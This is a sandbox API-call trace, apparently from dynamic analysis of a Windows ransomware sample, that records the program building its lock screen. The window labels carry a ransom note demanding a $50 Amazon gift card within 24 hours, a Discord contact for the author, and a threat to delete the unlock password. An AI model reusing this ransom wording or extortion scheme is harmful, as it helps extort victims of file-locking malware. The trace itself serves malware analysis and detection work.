[0040.500] SendMessageW (hWnd=0x301ec, Msg=0x435, wParam=0x0, lParam=0x7fffffff) returned 0x0 [0040.500] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x435, wParam=0x0, lParam=0x7fffffff) returned 0x0 [0040.507] SendMessageW (hWnd=0x301ec, Msg=0x446, wParam=0x0, lParam=0x5a0010) returned 0x1 [0040.507] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x446, wParam=0x0, lParam=0x5a0010) returned 0x1 [0040.511] DragAcceptFiles (hWnd=0x301ec, fAccept=0) [0040.511] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x7c, wParam=0xffffffec, lParam=0x32e498) returned 0x0 [0040.511] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x7d, wParam=0xffffffec, lParam=0x32e498) returned 0x1 [0040.511] SendMessageW (hWnd=0x301ec, Msg=0xc, wParam=0x0, lParam=0x2a11230) returned 0x1 [0040.511] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0xc, wParam=0x0, lParam=0x2a11230) returned 0x1 [0040.511] SendMessageW (hWnd=0x301ec, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x0 [0040.511] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x0 [0040.511] SendMessageW (hWnd=0x301ec, Msg=0x479, wParam=0x0, lParam=0x0) returned 0x82 [0040.512] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x479, wParam=0x0, lParam=0x0) returned 0x82 [0040.512] SendMessageW (hWnd=0x301ec, Msg=0xcd, wParam=0x0, lParam=0x0) returned 0x0 [0040.512] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0xcd, wParam=0x0, lParam=0x0) returned 0x0 [0040.512] SendMessageW (hWnd=0x301ec, Msg=0x4e1, wParam=0x0, lParam=0x0) returned 0x1 [0040.512] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x4e1, wParam=0x0, lParam=0x0) returned 0x1 [0040.512] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x5, wParam=0x0, lParam=0x790089) returned 0x0 [0040.512] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x3, wParam=0x0, lParam=0x1180011) returned 0x0 [0040.512] GetClientRect (in: hWnd=0x301ec, lpRect=0x32e63c | out: lpRect=0x32e63c) returned 1 [0040.512] GetWindowRect (in: hWnd=0x301ec, lpRect=0x32e63c | out: lpRect=0x32e63c) returned 1 [0040.512] GetParent (hWnd=0x301ec) returned 0x40130 [0040.512] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e63c, cPoints=0x2 | out: lpPoints=0x32e63c) returned -14025190 [0040.512] SendMessageW (hWnd=0x301ec, Msg=0x2210, wParam=0x1ec0001, lParam=0x301ec) returned 0x0 [0040.512] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x2210, wParam=0x1ec0001, lParam=0x301ec) returned 0x0 [0040.512] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0040.512] GetParent (hWnd=0x301ec) returned 0x40130 [0040.512] GetCurrentActCtx (in: lphActCtx=0x32ee34 | out: lphActCtx=0x32ee34*=0x441964) returned 1 [0040.512] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74ea0000 [0040.512] GetClassInfoW (in: hInstance=0x0, lpClassName="STATIC", lpWndClass=0x2a5f8ac | out: lpWndClass=0x2a5f8ac) returned 1 [0040.513] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.513] CoTaskMemAlloc (cb=0x58) returned 0x438758 [0040.513] RegisterClassW (lpWndClass=0x32ecec) returned 0xc138 [0040.513] CoTaskMemFree (pv=0x438758) [0040.513] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.513] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Locked Files", dwStyle=0x5600000d, X=15, Y=262, nWidth=79, nHeight=13, hWndParent=0x40130, hMenu=0x0, hInstance=0xb00000, lpParam=0x0) returned 0x301ee [0040.513] SetWindowLongW (hWnd=0x301ee, nIndex=-4, dwNewLong=1961605321) returned 84677214 [0040.513] GetWindowLongW (hWnd=0x301ee, nIndex=-4) returned 1961605321 [0040.513] SetWindowLongW (hWnd=0x301ee, nIndex=-4, dwNewLong=84677254) returned 1961605321 [0040.513] GetWindowLongW (hWnd=0x301ee, nIndex=-4) returned 84677254 [0040.513] GetWindowLongW (hWnd=0x301ee, nIndex=-16) returned 1174405133 [0040.513] GetWindowLongW (hWnd=0x301ee, nIndex=-12) returned 0 [0040.513] SetWindowLongW (hWnd=0x301ee, nIndex=-12, dwNewLong=197102) returned 0 [0040.513] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301ee, Msg=0x81, wParam=0x0, lParam=0x32e8c8) returned 0x1 [0040.513] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301ee, Msg=0x83, wParam=0x0, lParam=0x32e8b4) returned 0x0 [0040.514] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301ee, Msg=0x1, wParam=0x0, lParam=0x32e8c8) returned 0x0 [0040.514] GetWindow (hWnd=0x301ee, uCmd=0x3) returned 0x301ec [0040.514] GetClientRect (in: hWnd=0x301ee, lpRect=0x32e5f4 | out: lpRect=0x32e5f4) returned 1 [0040.514] GetWindowRect (in: hWnd=0x301ee, lpRect=0x32e5f4 | out: lpRect=0x32e5f4) returned 1 [0040.514] GetParent (hWnd=0x301ee) returned 0x40130 [0040.514] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e5f4, cPoints=0x2 | out: lpPoints=0x32e5f4) returned -14025190 [0040.514] SetWindowTextW (hWnd=0x301ee, lpString="Locked Files") returned 1 [0040.514] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301ee, Msg=0xc, wParam=0x0, lParam=0x2a58284) returned 0x1 [0040.514] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301ee, Msg=0x5, wParam=0x0, lParam=0xd004f) returned 0x0 [0040.514] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301ee, Msg=0x3, wParam=0x0, lParam=0x106000f) returned 0x0 [0040.514] GetClientRect (in: hWnd=0x301ee, lpRect=0x32e64c | out: lpRect=0x32e64c) returned 1 [0040.514] GetWindowRect (in: hWnd=0x301ee, lpRect=0x32e64c | out: lpRect=0x32e64c) returned 1 [0040.514] GetParent (hWnd=0x301ee) returned 0x40130 [0040.514] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e64c, cPoints=0x2 | out: lpPoints=0x32e64c) returned -14025190 [0040.514] SendMessageW (hWnd=0x301ee, Msg=0x2210, wParam=0x1ee0001, lParam=0x301ee) returned 0x0 [0040.514] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301ee, Msg=0x2210, wParam=0x1ee0001, lParam=0x301ee) returned 0x0 [0040.514] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301ee, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0040.514] GetParent (hWnd=0x301ee) returned 0x40130 [0040.514] GetCurrentActCtx (in: lphActCtx=0x32ee34 | out: lphActCtx=0x32ee34*=0x441964) returned 1 [0040.514] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74ea0000 [0040.514] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.514] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=-3, Y=-9, nWidth=15, nHeight=19, hWndParent=0x40130, hMenu=0x0, hInstance=0xb00000, lpParam=0x0) returned 0x301be [0040.515] SetWindowLongW (hWnd=0x301be, nIndex=-4, dwNewLong=2011243997) returned 84674742 [0040.515] GetWindowLongW (hWnd=0x301be, nIndex=-4) returned 2011243997 [0040.515] SetWindowLongW (hWnd=0x301be, nIndex=-4, dwNewLong=84677294) returned 2011243997 [0040.515] GetWindowLongW (hWnd=0x301be, nIndex=-4) returned 84677294 [0040.515] GetWindowLongW (hWnd=0x301be, nIndex=-16) returned 1174405120 [0040.515] GetWindowLongW (hWnd=0x301be, nIndex=-12) returned 0 [0040.515] SetWindowLongW (hWnd=0x301be, nIndex=-12, dwNewLong=197054) returned 0 [0040.515] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301be, Msg=0x81, wParam=0x0, lParam=0x32e8c8) returned 0x1 [0040.515] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301be, Msg=0x83, wParam=0x0, lParam=0x32e8b4) returned 0x0 [0040.515] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301be, Msg=0x1, wParam=0x0, lParam=0x32e8c8) returned 0x0 [0040.515] GetWindow (hWnd=0x301be, uCmd=0x3) returned 0x301ee [0040.515] GetClientRect (in: hWnd=0x301be, lpRect=0x32e630 | out: lpRect=0x32e630) returned 1 [0040.515] GetWindowRect (in: hWnd=0x301be, lpRect=0x32e630 | out: lpRect=0x32e630) returned 1 [0040.515] GetParent (hWnd=0x301be) returned 0x40130 [0040.515] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e630, cPoints=0x2 | out: lpPoints=0x32e630) returned -14025190 [0040.515] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301be, Msg=0x5, wParam=0x0, lParam=0x13000f) returned 0x0 [0040.515] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301be, Msg=0x3, wParam=0x0, lParam=0xfff7fffd) returned 0x0 [0040.515] GetClientRect (in: hWnd=0x301be, lpRect=0x32e688 | out: lpRect=0x32e688) returned 1 [0040.515] GetWindowRect (in: hWnd=0x301be, lpRect=0x32e688 | out: lpRect=0x32e688) returned 1 [0040.515] GetParent (hWnd=0x301be) returned 0x40130 [0040.515] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e688, cPoints=0x2 | out: lpPoints=0x32e688) returned -14025190 [0040.515] SendMessageW (hWnd=0x301be, Msg=0x2210, wParam=0x1be0001, lParam=0x301be) returned 0x0 [0040.515] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301be, Msg=0x2210, wParam=0x1be0001, lParam=0x301be) returned 0x0 [0040.515] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x301be, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0040.515] GetParent (hWnd=0x301be) returned 0x40130 [0040.515] GetCurrentActCtx (in: lphActCtx=0x32ee34 | out: lphActCtx=0x32ee34*=0x441964) returned 1 [0040.516] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74ea0000 [0040.516] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.516] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="CREATER: UNNAM3D", dwStyle=0x5600000d, X=319, Y=3, nWidth=146, nHeight=15, hWndParent=0x40130, hMenu=0x0, hInstance=0xb00000, lpParam=0x0) returned 0x301b8 [0040.516] SetWindowLongW (hWnd=0x301b8, nIndex=-4, dwNewLong=1961605321) returned 84677214 [0040.516] GetWindowLongW (hWnd=0x301b8, nIndex=-4) returned 1961605321 [0040.516] SetWindowLongW (hWnd=0x301b8, nIndex=-4, dwNewLong=84677334) returned 1961605321 [0040.516] GetWindowLongW (hWnd=0x301b8, nIndex=-4) returned 84677334 [0040.516] GetWindowLongW (hWnd=0x301b8, nIndex=-16) returned 1174405133 [0040.516] GetWindowLongW (hWnd=0x301b8, nIndex=-12) returned 0 [0040.516] SetWindowLongW (hWnd=0x301b8, nIndex=-12, dwNewLong=197048) returned 0 [0040.516] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301b8, Msg=0x81, wParam=0x0, lParam=0x32e8c8) returned 0x1 [0040.516] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301b8, Msg=0x83, wParam=0x0, lParam=0x32e8b4) returned 0x0 [0040.516] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301b8, Msg=0x1, wParam=0x0, lParam=0x32e8c8) returned 0x0 [0040.516] GetWindow (hWnd=0x301b8, uCmd=0x3) returned 0x301be [0040.516] GetClientRect (in: hWnd=0x301b8, lpRect=0x32e5f4 | out: lpRect=0x32e5f4) returned 1 [0040.516] GetWindowRect (in: hWnd=0x301b8, lpRect=0x32e5f4 | out: lpRect=0x32e5f4) returned 1 [0040.516] GetParent (hWnd=0x301b8) returned 0x40130 [0040.516] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e5f4, cPoints=0x2 | out: lpPoints=0x32e5f4) returned -14025190 [0040.517] SetWindowTextW (hWnd=0x301b8, lpString="CREATER: UNNAM3D") returned 1 [0040.517] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301b8, Msg=0xc, wParam=0x0, lParam=0x2a587a8) returned 0x1 [0040.517] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301b8, Msg=0x5, wParam=0x0, lParam=0xf0092) returned 0x0 [0040.517] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301b8, Msg=0x3, wParam=0x0, lParam=0x3013f) returned 0x0 [0040.517] GetClientRect (in: hWnd=0x301b8, lpRect=0x32e64c | out: lpRect=0x32e64c) returned 1 [0040.517] GetWindowRect (in: hWnd=0x301b8, lpRect=0x32e64c | out: lpRect=0x32e64c) returned 1 [0040.517] GetParent (hWnd=0x301b8) returned 0x40130 [0040.517] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e64c, cPoints=0x2 | out: lpPoints=0x32e64c) returned -14025190 [0040.517] SendMessageW (hWnd=0x301b8, Msg=0x2210, wParam=0x1b80001, lParam=0x301b8) returned 0x0 [0040.517] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301b8, Msg=0x2210, wParam=0x1b80001, lParam=0x301b8) returned 0x0 [0040.517] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301b8, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0040.517] GetParent (hWnd=0x301b8) returned 0x40130 [0040.517] GetCurrentActCtx (in: lphActCtx=0x32ee34 | out: lphActCtx=0x32ee34*=0x441964) returned 1 [0040.517] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74ea0000 [0040.517] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.517] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Discord: UNNAM3D#6666", dwStyle=0x5600000d, X=12, Y=406, nWidth=172, nHeight=15, hWndParent=0x40130, hMenu=0x0, hInstance=0xb00000, lpParam=0x0) returned 0x301ba [0040.517] SetWindowLongW (hWnd=0x301ba, nIndex=-4, dwNewLong=1961605321) returned 84677214 [0040.517] GetWindowLongW (hWnd=0x301ba, nIndex=-4) returned 1961605321 [0040.517] SetWindowLongW (hWnd=0x301ba, nIndex=-4, dwNewLong=84677374) returned 1961605321 [0040.517] GetWindowLongW (hWnd=0x301ba, nIndex=-4) returned 84677374 [0040.518] GetWindowLongW (hWnd=0x301ba, nIndex=-16) returned 1174405133 [0040.518] GetWindowLongW (hWnd=0x301ba, nIndex=-12) returned 0 [0040.518] SetWindowLongW (hWnd=0x301ba, nIndex=-12, dwNewLong=197050) returned 0 [0040.518] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301ba, Msg=0x81, wParam=0x0, lParam=0x32e8c8) returned 0x1 [0040.518] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301ba, Msg=0x83, wParam=0x0, lParam=0x32e8b4) returned 0x0 [0040.518] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301ba, Msg=0x1, wParam=0x0, lParam=0x32e8c8) returned 0x0 [0040.518] GetWindow (hWnd=0x301ba, uCmd=0x3) returned 0x301b8 [0040.518] GetClientRect (in: hWnd=0x301ba, lpRect=0x32e5f4 | out: lpRect=0x32e5f4) returned 1 [0040.518] GetWindowRect (in: hWnd=0x301ba, lpRect=0x32e5f4 | out: lpRect=0x32e5f4) returned 1 [0040.518] GetParent (hWnd=0x301ba) returned 0x40130 [0040.518] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e5f4, cPoints=0x2 | out: lpPoints=0x32e5f4) returned -14025190 [0040.518] SetWindowTextW (hWnd=0x301ba, lpString="Discord: UNNAM3D#6666") returned 1 [0040.518] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301ba, Msg=0xc, wParam=0x0, lParam=0x2a3a194) returned 0x1 [0040.518] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301ba, Msg=0x5, wParam=0x0, lParam=0xf00ac) returned 0x0 [0040.518] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301ba, Msg=0x3, wParam=0x0, lParam=0x196000c) returned 0x0 [0040.518] GetClientRect (in: hWnd=0x301ba, lpRect=0x32e64c | out: lpRect=0x32e64c) returned 1 [0040.518] GetWindowRect (in: hWnd=0x301ba, lpRect=0x32e64c | out: lpRect=0x32e64c) returned 1 [0040.518] GetParent (hWnd=0x301ba) returned 0x40130 [0040.518] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e64c, cPoints=0x2 | out: lpPoints=0x32e64c) returned -14025190 [0040.518] SendMessageW (hWnd=0x301ba, Msg=0x2210, wParam=0x1ba0001, lParam=0x301ba) returned 0x0 [0040.518] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301ba, Msg=0x2210, wParam=0x1ba0001, lParam=0x301ba) returned 0x0 [0040.518] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x301ba, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0040.518] GetParent (hWnd=0x301ba) returned 0x40130 [0040.518] GetCurrentActCtx (in: lphActCtx=0x32ee34 | out: lphActCtx=0x32ee34*=0x441964) returned 1 [0040.518] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74ea0000 [0040.519] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.519] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.", dwStyle=0x5600000d, X=14, Y=206, nWidth=382, nHeight=45, hWndParent=0x40130, hMenu=0x0, hInstance=0xb00000, lpParam=0x0) returned 0x401b6 [0040.519] SetWindowLongW (hWnd=0x401b6, nIndex=-4, dwNewLong=1961605321) returned 84677214 [0040.519] GetWindowLongW (hWnd=0x401b6, nIndex=-4) returned 1961605321 [0040.519] SetWindowLongW (hWnd=0x401b6, nIndex=-4, dwNewLong=84720526) returned 1961605321 [0040.519] GetWindowLongW (hWnd=0x401b6, nIndex=-4) returned 84720526 [0040.519] GetWindowLongW (hWnd=0x401b6, nIndex=-16) returned 1174405133 [0040.519] GetWindowLongW (hWnd=0x401b6, nIndex=-12) returned 0 [0040.519] SetWindowLongW (hWnd=0x401b6, nIndex=-12, dwNewLong=262582) returned 0 [0040.519] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b6, Msg=0x81, wParam=0x0, lParam=0x32e8c8) returned 0x1 [0040.519] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b6, Msg=0x83, wParam=0x0, lParam=0x32e8b4) returned 0x0 [0040.519] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b6, Msg=0x1, wParam=0x0, lParam=0x32e8c8) returned 0x0 [0040.520] GetWindow (hWnd=0x401b6, uCmd=0x3) returned 0x301ba [0040.520] GetClientRect (in: hWnd=0x401b6, lpRect=0x32e5f4 | out: lpRect=0x32e5f4) returned 1 [0040.520] GetWindowRect (in: hWnd=0x401b6, lpRect=0x32e5f4 | out: lpRect=0x32e5f4) returned 1 [0040.520] GetParent (hWnd=0x401b6) returned 0x40130 [0040.520] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e5f4, cPoints=0x2 | out: lpPoints=0x32e5f4) returned -14025190 [0040.520] SetWindowTextW (hWnd=0x401b6, lpString="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.") returned 1 [0040.520] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b6, Msg=0xc, wParam=0x0, lParam=0x2a36264) returned 0x1 [0040.520] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b6, Msg=0x5, wParam=0x0, lParam=0x2d017e) returned 0x0 [0040.520] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b6, Msg=0x3, wParam=0x0, lParam=0xce000e) returned 0x0 [0040.520] GetClientRect (in: hWnd=0x401b6, lpRect=0x32e64c | out: lpRect=0x32e64c) returned 1 [0040.520] GetWindowRect (in: hWnd=0x401b6, lpRect=0x32e64c | out: lpRect=0x32e64c) returned 1 [0040.520] GetParent (hWnd=0x401b6) returned 0x40130 [0040.520] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e64c, cPoints=0x2 | out: lpPoints=0x32e64c) returned -14025190 [0040.520] SendMessageW (hWnd=0x401b6, Msg=0x2210, wParam=0x1b60001, lParam=0x401b6) returned 0x0 [0040.520] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b6, Msg=0x2210, wParam=0x1b60001, lParam=0x401b6) returned 0x0 [0040.520] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b6, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0040.520] GetParent (hWnd=0x401b6) returned 0x40130 [0040.520] GetCurrentActCtx (in: lphActCtx=0x32ee34 | out: lphActCtx=0x32ee34*=0x441964) returned 1 [0040.520] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74ea0000 [0040.520] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.520] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n", dwStyle=0x5600000d, X=14, Y=107, nWidth=435, nHeight=60, hWndParent=0x40130, hMenu=0x0, hInstance=0xb00000, lpParam=0x0) returned 0x401b4 [0040.520] SetWindowLongW (hWnd=0x401b4, nIndex=-4, dwNewLong=1961605321) returned 84677214 [0040.520] GetWindowLongW (hWnd=0x401b4, nIndex=-4) returned 1961605321 [0040.521] SetWindowLongW (hWnd=0x401b4, nIndex=-4, dwNewLong=84720590) returned 1961605321 [0040.521] GetWindowLongW (hWnd=0x401b4, nIndex=-4) returned 84720590 [0040.521] GetWindowLongW (hWnd=0x401b4, nIndex=-16) returned 1174405133 [0040.521] GetWindowLongW (hWnd=0x401b4, nIndex=-12) returned 0 [0040.521] SetWindowLongW (hWnd=0x401b4, nIndex=-12, dwNewLong=262580) returned 0 [0040.521] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b4, Msg=0x81, wParam=0x0, lParam=0x32e8c8) returned 0x1 [0040.521] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b4, Msg=0x83, wParam=0x0, lParam=0x32e8b4) returned 0x0 [0040.521] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b4, Msg=0x1, wParam=0x0, lParam=0x32e8c8) returned 0x0 [0040.521] GetWindow (hWnd=0x401b4, uCmd=0x3) returned 0x401b6 [0040.521] GetClientRect (in: hWnd=0x401b4, lpRect=0x32e5f4 | out: lpRect=0x32e5f4) returned 1 [0040.521] GetWindowRect (in: hWnd=0x401b4, lpRect=0x32e5f4 | out: lpRect=0x32e5f4) returned 1 [0040.521] GetParent (hWnd=0x401b4) returned 0x40130 [0040.521] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e5f4, cPoints=0x2 | out: lpPoints=0x32e5f4) returned -14025190 [0040.521] SetWindowTextW (hWnd=0x401b4, lpString="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n") returned 1 [0040.521] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b4, Msg=0xc, wParam=0x0, lParam=0x2a39498) returned 0x1 [0040.521] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b4, Msg=0x5, wParam=0x0, lParam=0x3c01b3) returned 0x0 [0040.521] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b4, Msg=0x3, wParam=0x0, lParam=0x6b000e) returned 0x0 [0040.521] GetClientRect (in: hWnd=0x401b4, lpRect=0x32e64c | out: lpRect=0x32e64c) returned 1 [0040.521] GetWindowRect (in: hWnd=0x401b4, lpRect=0x32e64c | out: lpRect=0x32e64c) returned 1 [0040.521] GetParent (hWnd=0x401b4) returned 0x40130 [0040.521] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e64c, cPoints=0x2 | out: lpPoints=0x32e64c) returned -14025190 [0040.521] SendMessageW (hWnd=0x401b4, Msg=0x2210, wParam=0x1b40001, lParam=0x401b4) returned 0x0 [0040.521] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b4, Msg=0x2210, wParam=0x1b40001, lParam=0x401b4) returned 0x0 [0040.521] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b4, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0040.521] GetParent (hWnd=0x401b4) returned 0x40130 [0040.521] GetCurrentActCtx (in: lphActCtx=0x32ee34 | out: lphActCtx=0x32ee34*=0x441964) returned 1 [0040.522] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74ea0000 [0040.522] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.522] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="How do i pay?", dwStyle=0x5600000d, X=13, Y=173, nWidth=143, nHeight=24, hWndParent=0x40130, hMenu=0x0, hInstance=0xb00000, lpParam=0x0) returned 0x401b2 [0040.522] SetWindowLongW (hWnd=0x401b2, nIndex=-4, dwNewLong=1961605321) returned 84677214 [0040.522] GetWindowLongW (hWnd=0x401b2, nIndex=-4) returned 1961605321 [0040.522] SetWindowLongW (hWnd=0x401b2, nIndex=-4, dwNewLong=84720630) returned 1961605321 [0040.522] GetWindowLongW (hWnd=0x401b2, nIndex=-4) returned 84720630 [0040.522] GetWindowLongW (hWnd=0x401b2, nIndex=-16) returned 1174405133 [0040.522] GetWindowLongW (hWnd=0x401b2, nIndex=-12) returned 0 [0040.522] SetWindowLongW (hWnd=0x401b2, nIndex=-12, dwNewLong=262578) returned 0 [0040.522] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b2, Msg=0x81, wParam=0x0, lParam=0x32e8c8) returned 0x1 [0040.522] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b2, Msg=0x83, wParam=0x0, lParam=0x32e8b4) returned 0x0 [0040.522] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b2, Msg=0x1, wParam=0x0, lParam=0x32e8c8) returned 0x0 [0040.522] GetWindow (hWnd=0x401b2, uCmd=0x3) returned 0x401b4 [0040.522] GetClientRect (in: hWnd=0x401b2, lpRect=0x32e5f4 | out: lpRect=0x32e5f4) returned 1 [0040.522] GetWindowRect (in: hWnd=0x401b2, lpRect=0x32e5f4 | out: lpRect=0x32e5f4) returned 1 [0040.522] GetParent (hWnd=0x401b2) returned 0x40130 [0040.522] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e5f4, cPoints=0x2 | out: lpPoints=0x32e5f4) returned -14025190 [0040.523] SetWindowTextW (hWnd=0x401b2, lpString="How do i pay?") returned 1 [0040.523] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b2, Msg=0xc, wParam=0x0, lParam=0x2a39984) returned 0x1 [0040.523] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b2, Msg=0x5, wParam=0x0, lParam=0x18008f) returned 0x0 [0040.523] CallWindowProcW (lpPrevWndFunc=0x74ebb8c9, hWnd=0x401b2, Msg=0x3, wParam=0x0, lParam=0xad000d) returned 0x0 [0040.523] GetClientRect (in: hWnd=0x401b2, lpRect=0x32e64c | out: lpRect=0x32e64c) returned 1 [0040.523] 